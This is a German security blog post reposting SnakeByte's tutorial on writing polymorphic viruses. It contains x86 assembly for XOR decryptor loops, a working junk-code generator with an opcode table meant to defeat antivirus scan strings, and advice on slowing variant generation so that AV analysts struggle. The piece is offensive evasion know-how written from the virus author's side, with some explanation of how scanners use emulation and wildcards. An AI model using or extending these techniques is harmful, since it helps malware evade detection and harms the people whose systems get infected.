Gehaxelts Blog

IT-Security & Hacking

Polymorphe Viren by SnakeByte

Jemand hatte den Link in der SB von Secunet gepostet, und da ich mich demnächst ein wenig mit Assembler auseinandersetzen möchte, wollte ich euch den Anstoß nicht vorenthalten.

Diese Beschreibung ist nicht von mir, sondern von SnakeByte  [ SnakeByte@kryptocrew.de ].

Quelle: http://nopaste.me/raw/4914011844e06698320e0a.txt

                 Polymorphe Viren
      by SnakeByte [ SnakeByte@kryptocrew.de ]

Ok, was ist ein polymorpher Code ? Das ist ein Code der sich selber immer
wieder verändert, so das keine Kopie aussieht wie eine andere. Kennen wir doch, werden
einige denken, genau das passiert auch wenn ich einen Virus verschlüssele.
Halt, es bleibt beim Verschlüsseln immer noch ein statischer Teil. Der
Decryptor, also der Teil des Codes, der den Rest entschlüsselt, deshalb wird dieser
in Polymorphen Viren so gestaltet, das er bei jeder Infektion neu erstellt wird,
so daß er jedesmal anders aussieht. Schauen wir uns ein Beispiel an:
( Ich benutze hier die Windows Register, esi, eax.. sie sind die gleichen wie unter
DOS nur, das jetzt 32 Bit hineinpassen )

mov ecx, VirusLänge
lea esi, Start
XLoop:
 xor byte ptr [esi], Key
 inc esi
loop XLoop

Folgender Code erledigt genau die gleiche Aufgabe:

lea esi, Start
mov edi, esi
mov ecx, VirusLänge
XLoop:
 lodsb
 xor al, Key
 stosb
 dec ecx
 cmp ecx, 0
jne XLoop

Man kann also alles in mehreren Varianten schreiben. Dies wird bei polymorphen Code
ausgenutzt. Vesselin Bontchev, ein Anti-Viren Hersteller hat einmal eine Tabelle
aufgestellt, über die Verschiedenen Level der Polymorphie:

       1. Mehrere Decryptoren, von denen einer ausgesucht wird
       2. Variable Instruktionen für jedes Teilstück
       3. Garbage / Junk Code
       4. Veränderbare Reihenfolge
       5. 2+3+4
       ---------------------------------------------------------
       6. Permutation

1.) Hier gibt es mehrere verschiedenen Decryptoren von denen einer ausgewählt wird,
    wenn man nun für jeden dieser Code-Stücke einen Scanstring erstellt, wird der Virus
    leicht entdeckt, dies ist also nicht sehr effektiv.

2.) Hier gibt es für jedes Teilstück mehrere Instruktionen, von denen jedesmal eine
    ausgesucht wird:

    Für mov ecx, Viruslänge könnte auch stehen

    xor ecx, ecx
    add ecx, VirusLänge

    push VirusLänge
    pop ecx

    mov eax, VirusLänge
    xchg eax, ecx

    Ich glaube ihr wisst nun worauf ich hinaus will ;)

3.) Garbage bzw Junk Code sind Codestücke, die im Grunde völlig nutzlos sind,
    bzw den Decryptor in seiner Funktionsweise nicht beeinträchtigen:

    nop
    stc
    clc
    mov eax, eax
    add ebx, 342341h  ( ebx wird ja nicht verwendet )

    Diese dienen nur dazu, das kein Scanstring erstellt werden kann, da jedesmal
    anderer Müll in den Decryptor eingefügt wird.
    Es gibt sogar Polymorphe Viren, die Calls und Jumps in den Decryptor mit
    einbauen, so das der Code undurchsichtiger wird und das Ganze nicht so
    "zusammengekleistert" aussieht ( 10 nops in 20 Instruktionen sind halt merkwürdig *g* ).
    Verwenden wir mal etwas Junk-Code im ersten Beispiel weiter oben:

     mov ecx, VirusLänge
     nop                        ; Junk
     nop                        ; Junk
     lea esi, Start
     nop                        ; Junk
     nop                        ; Junk
     XLoop:
      xor byte ptr [esi], Key
     nop                        ; Junk
      inc esi
     nop                        ; Junk
     loop XLoop
     nop                        ; Junk

   Da der Junk-Code Generator normalerweise nicht immer den gleichen Junk
   einfügt könnte der Code auch so aussehen:

     mov ecx, VirusLänge
     add ebx, 452h              ; Junk
     xor eax, edx               ; Junk
     lea esi, Start
     and ebx, ebp               ; Junk
     sub edx, 3234h             ; Junk
     XLoop:
      xor byte ptr [esi], Key
     mov eax, ecx               ; Junk
      inc esi
     inc ecx                    ; Junk
     loop XLoop
     stc                        ; Junk

   Der Code sieht komplett anders aus, macht aber immernoch genau das gleiche,
   wird also in seine Funktion nicht beeinträchtigt, aber: das Ganze sieht im Hexeditor
   komplett anders aus:

   Version 1:
   B9D0 0700 0090 90BE 5210 4000 9090 8036
   0090 4690 E2F8

   Version 2:
   B9D0 0700 0081 C352 0400 0033 C2BE 5210
   4000 23DD 81EA 3432 0000 8036 008B C146
   41E2 F7F9

4.) Dies ist einfach das Austauschen 2er Instruktionen z.B.

     lea esi, Start
     mov ecx, VirusLänge

    wird zu

     mov ecx, VirusLänge
     lea esi, Start

    Also die Reinfolge der einzelnen Instruktionen wird verändert, so kann man
    zum Beispiel auch verschiedene Arten der Verschlüsselung generieren:

     xor byte ptr [esi], 5
     inc byte ptr [esi]
     neg byte ptr [esi]

    erzeugt anderen Code als :

     inc byte ptr [esi]
     neg byte ptr [esi]
     xor byte ptr [esi], 5

    Dadurch können Scanstrings nicht mehr so einfach verwendet werden, da hierdurch
    Wildcards für den auswechselnden Teil verwendet werden müssen. Wenn dieser
    Teil zu lange ist, kommt es beim Benutzen von zu vielen Wildcards zu Fehlerkennungen,
    was den Scanstring unbrauchbar macht.

5.) Ein solcher Polymorpher Code beinhaltet alle vorhergegangenen Arten um
    sich ständig zu verändern. Dies ist eigentlich die Stufe die eine Poly-Engine
    haben sollte um effektiv zu sein.

6.) Permutation ist von der "Güte" genause wie die 5.te Stufe, ist aber eine
    komplett andere Technik. Hier wird der Virus in mehrere Teile zerteilt, die
    dann ausgetauscht werden. z.B.:

     - Suche nach Dateien
     - Infection
     - Payload

    wird zu

     - Payload
     - Infection
     - Suche nach Dateien

    Dabei wird nur die Reinfolge in der Datei verändert, durch Jumps wird dafür
    gesorgt, daß der Ablauf der gleiche bleibt ( klar , ansonsten würde der Virus nicht
    mehr funktionieren )

Die Standart-Technik die benutzt wird ist Nr.5 da diese die meisten Variationen bietet.
Normalerweise beinhaltet der polymorphe Teil nur den Decryptor, mitlerweile gehen,
aber schon manche Coder soweit, in diesen Teil noch Anti-Detection Tricks mit einzubauen,
so daß das Entschlüsseln des eigentlichen Code erschwert / unmöglich wird.

Wie reagieren die AV's auf polymorphen Code ? Normalerweise emulieren sie den Decryptor
und suchen nach einem Scanstring unter der polymorphen Schicht. Wenn die Emulation nicht
funktioniert wird versucht, ob man den Verschlüsselten Teil durch Cryptanalyse entschlüsselt
bekommt. Wenn das Programm im Decryptor ein Xor byte ptr [esi], 4 entdeckt, wird es wissen
wie der Code verschlüsselt ist, so daß es nicht den Decryptor emulieren muss,
sondern den Code auch selbst entschlüsseln kann.

Eine Poly Engine ist der Teil im Virus, der den Decryptor bastelt. Was muss diese
Engine nun leisten ? Sie muss dafür sorgen, das es keine statischen Bytes an festen oder
variablen Positionen mehr gibt, so das Scanstrings unmöglich für AV's zu benutzen sind.
Die Größe des Decryptors bzw. des kompletten Viruses kann sich durch die Polyengine
auch bei jeder Infection verändern, wodurch das ganze noch 'unstatischer' wird.
Eine Polyengine, ist meistens einiges an Code und darf durchaus so groß sein, wie der
Rest des Viruses. Einen Polymorphen Virus zu analysieren ist eine langwierige und
langweilige Sache für einen AV'er, da er tausende Dateien infiziert um zu sehen, welche
verschiedenen Versionen die Poly-Engine produziert. Man sollte versuchen, die Poly Engine
zu verlangsamen, da das die Analyse erschwert. Wenn z.B. alle Versionen eines Viruses auf
einem Rechner gleich sind, muss der AV'er das Ganze noch auf 5-6 weiteren PC's analysieren,
damit er genügend verschiedene Versionen des Viruses bekommt. So könnte man dafür sorgen,
daß der Virus nur alle 10 Generationen eine neue Version erstellt oder nur Freitags, oder
die Varianten vom Benutzernamen abhängig sind, oder von gewissen Bios Einstellungen,
oder, oder oder ... ;)
Je langsamer umso wirkungsvoller !

Da eine Poly-Engine auf den Virus abgestimmt sein sollte, werde ich hier dazu keinen
Code zeigen. Deshalb werd ich hier nur einen einfachen Junkcode Generator zeigen.
Der Code dürfte zwar in der Heuristik ein paar Flaggen aktivieren, das es Junkcode
ist, aber um die Scanstrings zu verschleiern reicht es .. ;)

---------8<-----------------
                           ; ecx enthält die Anzahl der Instruktionen die
                           ; eingefügt werden sollen,
                           ; edi zeigt auf die Stelle an der sie eingefügt werden.
 push ecx                  ; ecx speichern

RandJunkLoop:
 push ecx                  ; für den Loop speichern

 push 8h                   ; die Funktion GetRand gibt uns eine Zahl zwischen 0 und ecx
 pop ecx                   ; in edx und eine Zufällszahl in eax zurück
 call GetRand
 xchg eax, edx             ; 0-8 in eax

 lea ebx, [ebp+OpcodeTable]; ebx zeigt auf die Opcodes
 xlat                      ; Xlat wählt aus der Tabelle einen Opcode aus
 stosb                     ; diesen speichern wir ( 1. Byte )
 xor eax, eax              ; eax löschen
                           ; das erste Byte ist für jede Instruktion immer gleich,
                           ; egal mit welchen Registern sie verwendet wird
                           ; das zweite Byte enthält die Informationen zu den Registern

                           ; Reg1 enthält das erste Register
                           ; ( Zahl zwischen 0 und 8, wobei jede Zahl
                           ; für ein Register steht )
               ;     0 - eax
               ;     1 - ecx
               ;     2 - edx
               ;     3 - ebx
               ;     4 - esp
               ;     5 - ebp
               ;     6 - esi
               ;     7 - edi
                           ; jedoch sind 1 und 6 ausgenommen, da diese im Decryptor
                           ; verwendet werden. Deshalb dürfen sie nicht verändert werden.

 mov al, byte ptr [ebp+Reg1]
 shl eax, 3h               ; mit 8 multiplizieren
 add eax, 0c0h             ; Basis addieren
                           ; zweiten Register addieren
 add al, byte ptr [ebp+Reg2]
 stosb                     ; das ganze speichern

 pop ecx                   ; ecx wiederherstellen
 loop RandJunkLoop         ; und weitermachen

 pop ecx                   ; teilweise brauch man die Länge des Decryptors, die des
                           ; Junkcodes wird hier addiert
 shl ecx, 1                ; Anzahl der Junk Instruktionen mit 2 multiplizieren
                           ; und addieren

 add dword ptr [ebp+PolyLen], ecx

ret                        ; zurück.. 

OpcodeTable:               ; diese Tabelle enthält das erste Byte
                           ; der 8 verwendeten Opcodes

 db 08Bh                   ; mov
 db 033h                   ; xor
 db 00Bh                   ; or
 db 02Bh                   ; sub
 db 003h                   ; add
 db 023h                   ; and
 db 013h                   ; adc
 db 01Bh                   ; sbb

---------8<-----------------

Wenn man nun in seinen Decryptor 4 mal Junkcode mit diesem Generator einfügt,
kann man allein dadurch eine enorme Anzahl an Variationen erreichen: 

   8 Befehle * 8 Register1 * 8 Register2 * 4 = 2048

Dadurch hat man eigentlich alle Scanstrings ohne Wildcards ausgeschaltet.
Man kann das ganze aber immer noch mit Platzhaltern erkennen :
( ? = 1 Byte das auswecheslbar ist
  * = X Bytes die auswechselbar sind )

 34h 23h ? ? 34h 2ah ? ? ...

Wenn man nun 4 mal zwischen 1 und 4 Instruktionen einfügt steigt die Anzahl der
Versionen um ein vielfaches:

 8^3 * 4 ^ 4 = 131072

Um so einen Virus zu erkennen muss man Wildcards mit variabler Größe im Scanstring
verwenden:

 34h 23h * 34h 2ah * 0a8h 13h * ...

Wenn nun der Rest der Poly-Engine dafür sorgt, das die Zwischenstücke jedesmal
andere sind kann in diesem Teil des Viruses kein Scanstring mehr erstellt werden.

Ok, das wars aber für heute. Ich hoffe das mir nun öfters die Zeit bleibt ein
wenig an Tutorials zu schreiben. Also bis zum nächsten mal...

  cu SnakeByte

Auch wenn man nicht so viel beim ersten Mal lesen versteht, ist es doch interessant und spannend :)

Gruß

gehaxelt